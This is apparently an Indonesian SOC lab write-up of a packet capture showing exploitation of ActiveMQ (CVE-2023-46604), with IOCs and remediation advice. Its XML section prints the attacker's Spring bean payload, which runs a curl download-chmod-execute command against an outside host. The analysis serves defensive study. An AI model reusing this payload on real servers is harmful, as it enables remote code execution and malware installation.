



# SECURITY REPORT

2024

Outbound connections to multiple suspicious  
IPs (Open Wire Lab)

## Daftar Isi

Executive Summary.....	1
Latar Belakang.....	2
Lab Environment.....	2
Analysis Incident .....	3
Incident Flow .....	18
Indicator of Compromise .....	19
Rekomendasi.....	19
Referensi .....	19

## Executive Summary

Adanya Outbound connection dari IP public server ke arah IP public yang terindikasi sebagai bad IP. Dimana Bad IP tersebut benar digunakan oleh threat actor guna mengeksploitasi kerentanan yang ada pada server tersebut dengan service activemq kode CVE-2023-46604. Dari Analisa yang dilakukan oleh Tim SOC, didapatkan adanya 2 Bad IP, malicious code serta malicious file yang digunakan oleh threat actor dalam menjalankan aksinya.

## Latar Belakang

Berdasarkan monitoring yang dilakukan oleh tim SOC, Terdapat adanya indikasi suspicious yang terdeteksi berasal dari device server client. Dimana Device tersebut melakukan outbound connection ke dua IP public yang setelah dilakukan penelusuran koneksi ke dua ip tersebut masuk dalam unauthorized connection.

## Lab Environment

Dalam process analysis ini, tim SOC mendapatkan data hasil tapping traffic dengan format .pcap. Sehingga dalam proses analysis ini tim SOC akan menggunakan tools wireshark. Dimana dari tools tersebut tim SOC akan berupaya untuk menemukan adanya aktivitas Suspicious dari sisi Network traffic.

## Analysis Incident

Berdasarkan laporan eskalasi dari tim Layer 1 SOC, menginformasikan bahwa terdapat adanya indikasi suspicious connection. Dimana suspicious connection tersebut berasal dari server yang menghadap publik. Server ini telah ditandai karena membuat koneksi keluar ke beberapa IP yang mencurigakan. Dari hasil temuan tersebut, tim layer 1 SOC telah melaporkan kepada tim Network sehingga traffic sudah diberikan kepada tim L2 untuk dianalisa lebih mendalam.

Proses Analisa dari tim L2 SOC dimulai dengan melakukan penelusuran melalui data network traffic menggunakan bantuan tools wireshark. Dimana dari hasil penelusuran tersebut, didapatkan bahwa aktivitas tersebut diketahui dimulai pada jam 13:38:27 UTC.

Wireshark - Conversations - c:\119-OpenWire.pcap

Conversation Settings

☐ Name resolution

☐ Absolute start time

☐ Limit to display filter

Copy

Follow Stream...

Graph...

Protocol

☐ FC

☐ FDDI

☐ IEEE 802.11

☐ IEEE 802.15.4

☒ IPv4

☐ IPv6

IPv4 - 3

IPv6

TCP - 11

UDP

Address A	Address B	Packets	Bytes	Stream ID	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	Bits/s B → A
84.239.49.16	134.209.197.3	12	712 bytes	2	6	388 bytes	6	324 bytes	195.614409	3.2872	944 bits/s	788 bits/s
134.209.197.3	128.199.52.72	10	1 kB	1	5	421 bytes	5	789 bytes	0.185236	0.0075	448 kbps	840 kbps
146.190.21.92	134.209.197.3	4,867	5 MB	0	2,902	5 MB	1,965	256 kB	0.000000	294.4208	126 kbps	6969 bits/s

Dapat dilihat pada gambar diatas, bahwa terdapat 4 ip yang tercapture. Dimana 4 ip tersebut adalah :

- 84.239.49.16
- 134.209.197.3
- 128.199.52.72
- 146.190.21.92

Berdasarkan penelusuran awal tim L2 SOC menggunakan data statistic IPv4, diketahui bahwa terdapat adanya indikasi packets terbanyak berasal dari IP 146.190.21.92 (Eksternal) 4867 packet ssebesar 5MB menuju ip 134.209.197.3 (IP Public Server), dimana dari hasil temuan tersebut patut untuk dicurigai.

146.190.21.92

2 / 94 Community Score

2/94 security vendors flagged this IP address as malicious

146.190.21.92 (146.190.0.0/17)  
AS 14061 (DIGITALOCEAN-ASN)

NL Last Analysis Date 3 months ago

DETECTION DETAILS RELATIONS ASSOCIATIONS COMMUNITY 1

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Criminal IP Malicious Gridinsoft Malicious

Do you want to automate checks?

Validasi pertama dilakukan dengan melakukan pengecekan reputasi IP tersebut menggunakan bantuan tools Virustotal. Hasil dari penelusuran tersebut,

menginformasikan bahwa IP eksternal 146.190.21.92 tersebut memiliki reputasi negative dengan ditandai sebagai malicious IP.

Penelusuran dilanjutkan dengan mencari tahu, dimana Fase initial access dari Suspicious IP tersebut berasal. Sehingga dari temuan tersebut akan dijadikan evaluasi oleh tim Security untuk mencegah adanya potensi incident yang berulang. Penelusuran kembali berfokus pada data network traffic yang didapatkan oleh tim SOC. Dimana dari data tersebut diketahui bahwa, sesaat setelah proses tri way handshake selesai dilakukan, IP 146.190.21.92 melakukan komunikasi dengan IP public server milik internal dengan menggunakan protocol OpenWire. Dimana Protocol OpenWire Sendiri merupakan protocol pesan biner yang digunakan dalam konteks ActiveMQ, sebuah message broker open-source yang mendukung berbagai protokol pesan. Protokol ini dirancang untuk menyediakan komunikasi cepat dan efisien antara klien dan broker.

No.	Time	Source	Destination	Protocol	Length	Info
1	2023/346 13:38:27,926712	146.190.21.92	134.209.197.3	TCP	74	47284 → 61616 [SYN] Seq=0 Win=64240 Len=0 MSS=1361 SACK_F
2	2023/346 13:38:27,926769	134.209.197.3	146.190.21.92	TCP	74	61616 → 47284 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=
3	2023/346 13:38:28,052095	146.190.21.92	134.209.197.3	TCP	66	47284 → 61616 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=135
4	2023/346 13:38:28,055491	134.209.197.3	146.190.21.92	OpenWire	408	WireFormatInfo
5	2023/346 13:38:28,057280	146.190.21.92	134.209.197.3	OpenWire	190	ExceptionResponse[Malformed Packet]
6	2023/346 13:38:28,057281	146.190.21.92	134.209.197.3	TCP	66	47284 → 61616 [FIN, ACK] Seq=125 Ack=1 Win=64256 Len=0 TS
7	2023/346 13:38:28,057302	134.209.197.3	146.190.21.92	TCP	66	61616 → 47284 [ACK] Seq=343 Ack=125 Win=65280 Len=0 TSval
29	2023/346 13:38:28,098114	134.209.197.3	146.190.21.92	TCP	66	61616 → 47284 [ACK] Seq=343 Ack=126 Win=65280 Len=0 TSval
30	2023/346 13:38:28,101227	134.209.197.3	146.190.21.92	TCP	66	61616 → 47284 [FIN, ACK] Seq=343 Ack=126 Win=65280 Len=0
44	2023/346 13:38:28,210389	146.190.21.92	134.209.197.3	TCP	54	47284 → 61616 [RST] Seq=126 Win=0 Len=0
45	2023/346 13:38:28,225306	146.190.21.92	134.209.197.3	TCP	54	47284 → 61616 [RST] Seq=126 Win=0 Len=0

  

Frame 5: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits)
Ethernet II, Src: fe:00:00:00:01:01 (fe:00:00:00:01:01), Dst: 6e:cc:fd:d6:05:72 (6e:cc:fd:d6:05:72)
Destination: 6e:cc:fd:d6:05:72 (6e:cc:fd:d6:05:72)
Source: fe:00:00:00:01:01 (fe:00:00:00:01:01)
Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 146.190.21.92, Dst: 134.209.197.3
Transmission Control Protocol, Src Port: 47284, Dst Port: 61616, Seq: 1, Ack: 1, Len: 190
OpenWire (ExceptionResponse)
Malformed Packet: OpenWire

Dilihat dari gambar diatas, diketahui bahwa port yang dimanfaatkan oleh threat actor dalam mengirimkan suatu malicious packet adalah 61616. Dalam malicious packet tersebut, diketahui memuat suatu suspicious url yaitu `hxxp://146.190.21(.)92:8000/invoice.xml`.



```
Wireshark · Follow HTTP Stream (tcp.stream eq 2) · c119-OpenWire.pcap

Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.21
Host: 146.190.21.92:8000
Accept: text/html, image/gif, image/jpeg, *, q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Tue, 12 Dec 2023 13:38:28 GMT
Content-type: application/xml
Content-Length: 816
Last-Modified: Tue, 12 Dec 2023 13:37:45 GMT

<?xml version="1.0" encoding="UTF-8" ?>
  <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="
      http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg>
        <list>
          <!--value>open</value>
          <value>-a</value>
          <value>calculator</value -->
          <value>bash</value>
          <value>-c</value>
          <value>curl -s -o /tmp/docker http://128.199.52.72/docker; chmod +x /tmp/docker; ./tmp/docker</v
        </list>
      </constructor-arg>
    </bean>
  </beans>
```

Terlihat pada gambar tersebut bahwa dalam paket tersebut bersikan fiile XML namun terdappat suatu malicious command yang melibatkan strings curl, yang berguna untuk melakukan download suatu file dengan nama docker dan melakukan perintah chmod + x digunakan untuk memberikan izin eksekusi (executable) pada sebuah file di sistem operasi berbasis Unix atau Linux. Hal ini diperkuat juga dengan temuan bahwa file .xml tersebut menggunakan class="java.lang.ProcessBuilder" yang digunakan untuk membuat dan mengelola proses system serta init-method="start digunakan untuk memulai proses baru berdasarkan konfigurasi yang sudah ditetapkan.

```
GET /docker HTTP/1.1
Host: 128.199.52.72
User-Agent: curl/7.68.0
Accept: */*

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Tue, 12 Dec 2023 13:38:28 GMT
Content-type: application/octet-stream
Content-Length: 250
Last-Modified: Tue, 12 Dec 2023 12:23:04 GMT

.ELF.....>.....X.@.....@.....@.8.....@.....@.....@.....|.....
.....1.j X...H..M1.j"AZj.Z..H..xQj
AYPj)X.j._j.^..H..x;H.H.....\QH..j.Zj*X..YH..y%I..t.Wj#Xj.j.H..H1...YY_H..y.j<Xj._.^j~Z..H..x...
```

Dari data yang didapatkan oleh tim SOC, selanjutnya ditemukan adanya request koneksi dari arag ip server public milik client ke arah ip suspicious lainnya. Dimana ip tersebut

adalah `hxxp://128(.)199.52.72/docker`. Dimana dari gambar diatas, diketahui bahwa packet yang menuju kearah ip `128(.)199.52.72` terdapat ekstension `.elf`. Dimana file `.elf` sendiri merupakan format file biner yang digunakan untuk menyimpan program yang dapat dieksekusi, objek yang dihasilkan oleh kompilasi, dan file shared library dalam sistem operasi berbasis Unix, seperti Linux. Sehingga dari tim SOC berhipotesis bahwa file `.elf` tersebut merupakan file backdoor yang digunakan sebagai reverse shell dan biasanya akan tertinggal pada suatu disk device terinfeksi.

Selain itu dengan menganalisa vector serangan yang digunakan oleh threat actor tersebut diketahui bahwa threat actor tersebut memanfaatkan suatu vulnerability yang terdapat pada service `activemq` dengan kode vulnerability `CVE-2023-46604` dengan severity critical.

## CVE-2023-46604 Detail

### MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

## Description

The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.

## Incident Flow

Berdasarkan hasil investigasi yang dilakukan oleh tim SOC L2 , didapatkan bahwa Threat actor tersebut pada awalnya menggunakan IP `146.190.21.92` untuk berkomunikasi dengan ip public dari server client. Setelah berhasil berkomunikasi, threat actor mencooba mengarahkan komunikasi tersebut ke suatu file `.xml` yang bersisi malicious code. Dimana malicious code tersebut akan mengeksploitasi suatu kerentanan pada service `activemq` untuk melakukan remote code execution yang dapat dimanfaatkan oleh threat actor untuk menjalankan suatu malicious file dengan nama `docker`.

## Indicator of Compromise

Berdasarkan hasil invesitagasi yang dilakukan oleh tim SOC, Didapatkan beberapa IOC dalam incident OpenWire tersebut :

Malicious File : docker

Malicious URL : `hxxp://128(.)199.52.72/docker & hxxp://146(.)190.21.92:8000/invoice.xml`

Malicious IP : `128(.)199.52.72 & 146(.)190.21.92`

## Rekomendasi

1. Segera lakukan Isolasi Device terkompromise
2. Lakukan full scanning EDR/ AV terupdate
3. Lakukan reset password pada semua akun yang ter sign in pada device tersebut
4. Lakukan blocking ip dan domain untuk IOC tersebut
5. Tambahkan langkah validasi, yang mencegah eksploitasi. Di kelas dan metode Java `BaseDataStreamMarshaller.createThrowable`

## Referensi

[Apache ActiveMQ RCE \(CVE-2023-46604\) - vsociety](#)

[CyberDefenders: Blue team CTF Challenges | OpenWire](#)

[NVD - CVE-2023-46604](#)